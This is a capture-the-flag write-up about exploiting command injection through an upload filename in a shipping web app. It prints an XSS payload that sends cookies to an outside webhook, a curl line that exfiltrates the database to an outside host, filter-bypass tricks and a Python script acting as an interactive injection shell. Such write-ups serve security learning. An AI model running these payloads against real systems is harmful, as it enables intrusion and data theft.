Crashing The Port (Failed)
Description
Upload your customs and my python script will detect the price 😎.
Solution
Main page presents Filling a form, but we are soon redirected to /login

Since we don't have an account we can /register
Creds:
test02@ctf.ae:test02@ctf.ae
I uploaded a random file and it just says Checking file

/uploads/t2.py
path doesn't exist
Injecting XSS into all fields and attaching HTML with XSS payload also yielded no results...
<img src=x onerror="this.src='https://webhook.site/.../?3c='+document.cookie">
We can visit /shipments
to view our Shipments

When fuzzing for SSTI I replaced filename and it responded with Noooo

It doesn't like {}
characters in filename, yet it's still uploaded (?)
Changing filename to just single quote crashes the application and reveals some backend code.

Because check_output
has shell=True
this means we get free RCE, any bash like commands can be ran here.

Filename has few noticeable restrictions: first no spaces are allowed, we could have used ${IFS}
or $IFS
as alternative space but nothing.
Tab character () can be used as alternative space.

For me the easiest way to inject characters into burp is to Base64 encode and then decode with Ctrl+Shift+B
└─$ echo $'\t' | base64
CQo=
Anyway, no flag in sight; but there's a database?

I was able to bypass the /
checks by using cd
Content-Disposition: form-data; name="file"; filename="temp;cd instance ;curl uwuos.free.beeceptor.com -F f=@shipping.db"
Exfiltration was pointless 😭

Also cat
is blocked, rev
too, but not tac
or base32
(64 is blocked)
Make life easier:
from requests import Session
from base64 import b32decode
URL = 'https://c363f5bbf5d5ce5afb9761164b2f0996.chal.ctf.ae/'
AUTH = { 'username': 'test02@ctf.ae', 'password': 'test02@ctf.ae' }
DATA_DUMMY = { 'shipperName': 'x', 'consigneeName': 'y', 'description': 'z' }
def refresh_login(session):
session.post(f'{URL}/register', data=AUTH)
session.post(f'{URL}/login', data=AUTH)
print(session.cookies.get_dict())
def upload(session, files):
return session.post(f'{URL}/upload', data=DATA_DUMMY, files=files, allow_redirects=False)
def change_path(command):
command, filename = command.split(' ', 1) # command [/]path/to/file
paths = filename.strip().split('/')
cmd = 'cd ..; ' if filename.startswith('/') else ''
cmd += '; '.join([f'cd {p}' for p in paths[:-1] if p])
cmd += f'; {command} {paths[-1]}'
return cmd
def read_file(command):
cmd = command.replace('cat ', 'base32 -w0 ')
return cmd
with Session() as session:
refresh_login(session)
log = open('response.logs', 'a')
while True:
cmd = input('[~] Command: ')
if cmd == 'exit': break
if '/' in cmd: cmd = change_path(cmd)
if 'cat ' in cmd: cmd = read_file(cmd)
cmd = cmd.replace('; ;', ';')
cmd = cmd.replace(' ', '\t')
print(f'[+] Command Edited: {cmd}')
files = { 'file': (f'temp;{cmd}', 'letmein', 'text/plain') }
resp = upload(session, files)
if resp.status_code == 302:
refresh_login(session)
resp = upload(session, files)
if 'subprocess.CalledProcessError' in resp.text:
print('Command failed')
continue
elif 'Noooooooo' in resp.text:
print('Something got blacklisted...')
continue
result = resp.text
if 'base32' in cmd:
result = b32decode(result.split('\n')[1]).decode()
print(result)
print(result, file=log, flush=True)
# files = { 'file': (f'temp;cd\t..;\tcd\tapp;\tcd\tinstance;\tbase32\t-w0\tshipping.db', 'letmein', 'text/plain') }
# resp = upload(session, files)
# with open('sqlite3.db', 'wb') as f:
# f.write(resp.content)
log.close()
Now that I have proper LFI we need to A: find the flag or B: get RCE. We can get RCE if we login in Debug Console (it's on since we saw the debug messages)
Console path doesn't work so I guess it's out of the question...

CTF ended and it turns out flag was in fucking ENV 😐

Last updated